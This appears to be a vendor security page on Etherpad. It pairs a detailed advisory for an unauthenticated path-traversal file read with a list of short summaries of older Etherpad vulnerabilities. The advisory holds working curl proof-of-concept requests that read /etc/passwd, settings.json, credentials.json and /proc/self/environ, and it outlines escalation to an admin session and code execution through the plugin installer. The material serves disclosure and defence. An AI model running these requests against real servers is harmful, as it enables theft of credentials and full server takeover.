See how etherpad compares to other vendors in security performance
Summary
An unauthenticated path‑traversal / arbitrary file read vulnerability in Etherpad's /static/ handler allows any remote, unauthenticated user to read any file on the server's filesystem (e.g. GET /static/plugins/epetherpad-lite/static/..%5C..%5C..%5C..%5C..%5C..%5C..%5Cetc/passwd returns /etc/passwd) available to the user running the etherpad software. Because the endpoint is mounted before the authentication middleware, no credentials, session, or configuration change are required. The read primitive could escalate to a full server compromise: on a typical deployment by disclosing settings.json / credentials.json / /proc/self/environ, which contain the admin password, giving an attacker an admin session and, through the admin plugin installer, remote code execution.
Details
Etherpad serves plugin static assets through src/node/utils/Minify.ts. The request path is first passed through the canonical sanitizer src/node/utils/sanitizePathname.ts, which is careful to convert backslashes to forward slashes only on Windows:
// src/node/utils/sanitizePathname.ts:11-20 p = pathApi.normalize(p); if (pathApi.isAbsolute(p)) throw new Error(absolute paths are forbidden: ${p}); if (p.split(pathApi.sep)[0] === '..') throw new Error(directory traversal: ${p}); // THIS CONVERSION MUST ONLY BE DONE ON WINDOWS, otherwise on POSIXish systems '..\\' in the input // pathname would not be normalized away before being converted to '../'. if (pathApi.sep === '\\') p = p.replace(/\\/g, '/');
On Linux a backslash is an ordinary filename byte, so an input segment like ..\..\..\test contains no ./.. path components and passes every check in sanitizePathname unchanged. The project's own test suite confirms this: src/tests/backend-new/specs/sanitizePathname.ts:62 lists ['posix', '..\\foo'] among the accepted paths (returned unchanged).
The vulnerability is that Minify.ts then performs that Windows‑only conversion unconditionally, after the sanitizer has run, justified by a comment asserting the opposite of the invariant above:
// src/node/utils/Minify.ts:171-186 const match = filename.match(/^plugins\/([^/]+)(\/(?:(static\/.)|.))?$/); if (match) { const library = match[1]; const libraryPath = match[2] || ''; if (plugins.plugins[library] && match[3]) { const plugin = plugins.plugins[library]; const pluginPath = plugin.package.realPath; // for 'epetherpad-lite' == <root>/src filename = path.join(pluginPath, libraryPath); // -> absolute path, backslashes preserved // ... "This conversion does not introduce a directory // traversal vulnerability because all '..\\' substrings have already been removed by // sanitizePathname." // <-- FALSE on POSIX filename = filename.replace(/\\/g, '/'); // <-- reintroduces ../ AFTER the check }
After line 186 the string becomes a real traversal (<root>/src/static/../../../../etc/passwd) with no re‑normalization and no containment check before the filesystem calls at Minify.ts:248 (fs.stat) and Minify.ts:315 (fs.readFile). Because path.join at line 179 produced an absolute path, path.resolve(ROOTDIR, filename) discards ROOTDIR entirely, and POSIX path.resolve collapses surplus .. at /, so the payload is root‑depth‑agnostic.
The route is reachable pre‑authentication. It is registered on the expressPreSession hook:
// src/ep.json { "name": "static", "hooks": { "expressPreSession": "epetherpad-lite/node/hooks/express/static" } } // src/node/hooks/express/static.ts:38 app.all('/static/filename', minify);
and expressPreSession runs before the auth middleware:
// src/node/hooks/express.ts:244-247 await hooks.aCallAll('expressPreSession', {app, settings}); // static route registered here app.use(exports.sessionMiddleware); app.use(webaccess.checkAccess); // auth runs AFTER
The plugin branch is always taken because src/static/js/pluginfw/plugins.ts:153-158 unconditionally registers the core pseudo‑plugin epetherpad-lite with package.realPath = <root>/src.
Two decode facts make the exploit functional: Express 5 / path‑to‑regexp v8 decode wildcard params per segment, once ((v) => v.split('/').map(decodeURIComponent)), so req.params.filename.join('/') (Minify.ts:147) yields the once‑decoded path fed to the sanitizer, and %5C (encoded backslash) is the only working separator (%2F decodes to /, is re‑split, and is rejected by the split('/')[0] === '..' guard).
PoC
Applies to a default production deployment (no special configuration; works on Linux, e.g. the Docker image or a systemd source install). Replace TARGET:9001 with the instance.
1. Read /etc/passwd (or any file) with no authentication. --path-as-is prevents the client from folding the traversal:
curl --path-as-is \ 'http://TARGET:9001/static/plugins/epetherpad-lite/static/..%5C..%5C..%5C..%5C..%5C..%5C..%5Cetc/passwd'
Other high‑value reads (over‑shoot the .. depth; it is absorbed at /):
admin password + secrets, root-agnostic via /proc/self/cwd curl --path-as-is 'http://TARGET:9001/static/plugins/epetherpad-lite/static/..%5C..%5C..%5C..%5C..%5C..%5C..%5Cproc/self/cwd/settings.json' curl --path-as-is 'http://TARGET:9001/static/plugins/epetherpad-lite/static/..%5C..%5C..%5C..%5C..%5C..%5C..%5Cproc/self/cwd/credentials.json' on docker-compose deployments the admin password is an env var: curl --path-as-is 'http://TARGET:9001/static/plugins/epetherpad-lite/static/..%5C..%5C..%5C..%5C..%5C..%5C..%5Cproc/self/environ'
Each response returns the raw file bytes (with a harmless Content-Type: false header for extension‑less targets, Node coerces the value and does not throw).
2. Escalate to RCE. Recover the admin credential from the files read in step 1, then:
mint an admin session curl -i -X POST 'http://TARGET:9001/admin-auth/' \ -H "Authorization: Basic $(printf 'admin:PASSWORD' | base64)" -> 200 + Set-Cookie: <prefix>expresssid=...
Using that expresssid cookie, connect to the /pluginfw/installer Socket.IO namespace (gated only on session.user.isadmin, src/node/hooks/express/adminplugins.ts:22) and emit install for an attacker‑controlled ep plugin. Etherpad require()s the plugin's code in‑process during plugins.update() (src/static/js/pluginfw/shared.ts:30), executing arbitrary code as the Etherpad user.
Impact
- Type: Improper limitation of a pathname → unauthenticated arbitrary file read, with potential to remote code execution. - Access required: None. The vulnerable route is served before the authentication/authorization middleware, so it is exploitable by any client that can reach the HTTP port, regardless of requireAuthentication, requireAuthorization, or users configuration. - What an attacker can access: any file readable by the Etherpad process user, including settings.json/credentials.json (admin password, sessionKey, database credentials, SSO client secrets), /proc/self/environ (env‑supplied secrets such as ADMINPASSWORD, DBPASS), the pad database, TLS private keys, and OS files such as /etc/passwd. - Escalation: the disclosed admin password yields an admin session; the admin plugin installer then provides in‑process code execution, i.e. full server takeover. Even without the plugin step, admin access permits rewriting the entire configuration (saveSettings + restartServer) and exfiltrating all stored data. - Who is impacted: every operator running an affected version, most severely those exposing Etherpad directly to untrusted networks. A reverse proxy does not mitigate it, the traversal uses %5C, which proxies forward unchanged.
Etherpad is a real-time collaborative editor. Prior to 3.3.1, result.appendSpan in src/static/js/domline.ts interpolates the start attribute of a numbered list directly into an unquoted ol start attribute before assigning the generated markup to node.innerHTML. ImportEtherpad.setPadRaw in src/node/utils/ImportEtherpad.ts accepts attacker-controlled attribute-pool values from a crafted .etherpad import, including list:number1 and a malicious start value. Any user with write access to a pad can store markup that executes as cross-site scripting when another user opens the pad or /timeslider, including when an administrator views the pad. This issue is fixed in version 3.3.1.
Etherpad is a real-time collaborative editor. Prior to 3.3.1, result.appendSpan in src/static/js/domline.ts interpolates the start attribute of a numbered list directly into an unquoted ol start attribute before assigning the generated markup to node.innerHTML. ImportEtherpad.setPadRaw in src/node/utils/ImportEtherpad.ts accepts attacker-controlled attribute-pool values from a crafted .etherpad import, including list:number1 and a malicious start value. Any user with write access to a pad can store markup that executes as cross-site scripting when another user opens the pad or /timeslider, including when an administrator views the pad. This issue is fixed in version 3.3.1.
Etherpad is a real-time collaborative editor. From 2.1.0 until 3.1.0, Etherpad's src/node/handler/APIHandler.ts authorizes requests to /api/2/ in the authorizationcode OAuth path by using requiredClaims with the admin claim. This check requires only that the claim exists, while src/node/security/OAuth2Provider.ts issues admin: false for configured non-admin users. A non-admin user with a valid signed token can therefore invoke administrative functions including setHTML, setText, appendText, deletePad, copyPad, movePad, restoreRevision, anonymizeAuthor, listAllPads, and listAuthorsOfPad, allowing disclosure, modification, or deletion of pads across the instance. This issue is fixed in version 3.1.0.
Etherpad is a real-time collaborative editor. In versions prior to 1.8.16, an attacker can craft an .etherpad file that, when imported, might allow the attacker to gain admin privileges for the Etherpad instance. This, in turn, can be used to install a malicious Etherpad plugin that can execute arbitrary code (including system commands). To gain privileges, the attacker must be able to trigger deletion of express-session state or wait for old express-session state to be cleaned up. Core Etherpad does not delete any express-session state, so the only known attacks require either a plugin that can delete session state or a custom cleanup process (such as a cron job that deletes old sessionstorage: records). The problem has been fixed in version 1.8.16. If users cannot upgrade to 1.8.16 or install patches manually, several workarounds are available. Users may configure their reverse proxies to reject requests to /p//import, which will block all imports, not just .etherpad imports; limit all users to read-only access; and/or prevent the reuse of expresssid cookie values that refer to deleted express-session state. More detailed information and general mitigation strategies may be found in the GitHub Security Advisory.
An Argument Injection issue in the plugin management of Etherpad 1.8.13 allows privileged users to execute arbitrary code on the server by installing plugins from an attacker-controlled source.
A Cross-Site Scripting (XSS) issue in the chat component of Etherpad 1.8.13 allows remote attackers to inject arbitrary JavaScript or HTML by importing a crafted pad.
In Etherpad < 1.8.3, a specially crafted URI would raise an unhandled exception in the cache mechanism and cause a denial of service (crash the instance).
Etherpad < 1.8.3 is affected by a denial of service in the import functionality. Upload of binary file to the import endpoint would crash the instance.
Etherpad <1.8.3 stored passwords used by users insecurely in the database and in log files. This affects every database backend supported by Etherpad.
In Etherpad UeberDB < 0.4.4, due to MySQL omitting trailing spaces on char / varchar columns during comparisons, retrieving database records using UeberDB's MySQL connector could allow bypassing access controls enforced on key names.
Etherpad < 1.8.3 is affected by a missing lock check which could cause a denial of service. Aggressively targeting random pad import endpoints with empty data would flatten all pads due to lack of rate limiting and missing ownership check.
Directory traversal vulnerability in node/utils/Minify.js in Etherpad 1.1.2 through 1.5.4 allows remote attackers to read arbitrary files with permissions of the user running the service via a .. (dot dot) in the path parameter of HTTP API requests. NOTE: This vulnerability is due to an incomplete fix to CVE-2015-3297.
templates/pad.html in Etherpad-Lite 1.7.5 has XSS when the browser does not encode the path of the URL, as demonstrated by Internet Explorer.
Etherpad Lite before 1.6.4 is exploitable for admin access.
Etherpad 1.5.x and 1.6.x before 1.6.4 allows an attacker to export all the existing pads of an instance without knowledge of pad names.
Etherpad 1.6.3 before 1.6.4 allows an attacker to execute arbitrary code.
Etherpad 1.5.x and 1.6.x before 1.6.4 allows an attacker to execute arbitrary code on the server. The instance has to be configured to use a document database (DirtyDB, CouchDB, MongoDB, or RethinkDB).
static/js/padutils.js in Etherpad Lite before v1.6.3 has XSS via window.location.href.
node/hooks/express/apicalls.js in Etherpad Lite before v1.6.3 mishandles JSONP, which allows remote attackers to bypass intended access restrictions.
node/utils/ExportEtherpad.js in Etherpad 1.5.x before 1.5.2 might allow remote attackers to obtain sensitive information by leveraging an improper substring check when exporting a padID.
Directory traversal vulnerability in node/hooks/express/tests.js in Etherpad frontend tests before 1.6.1.
Directory traversal vulnerability in node/utils/Minify.js in Etherpad 1.1.1 through 1.5.2 allows remote attackers to read arbitrary files by leveraging replacement of backslashes with slashes in the path parameter of HTTP API requests.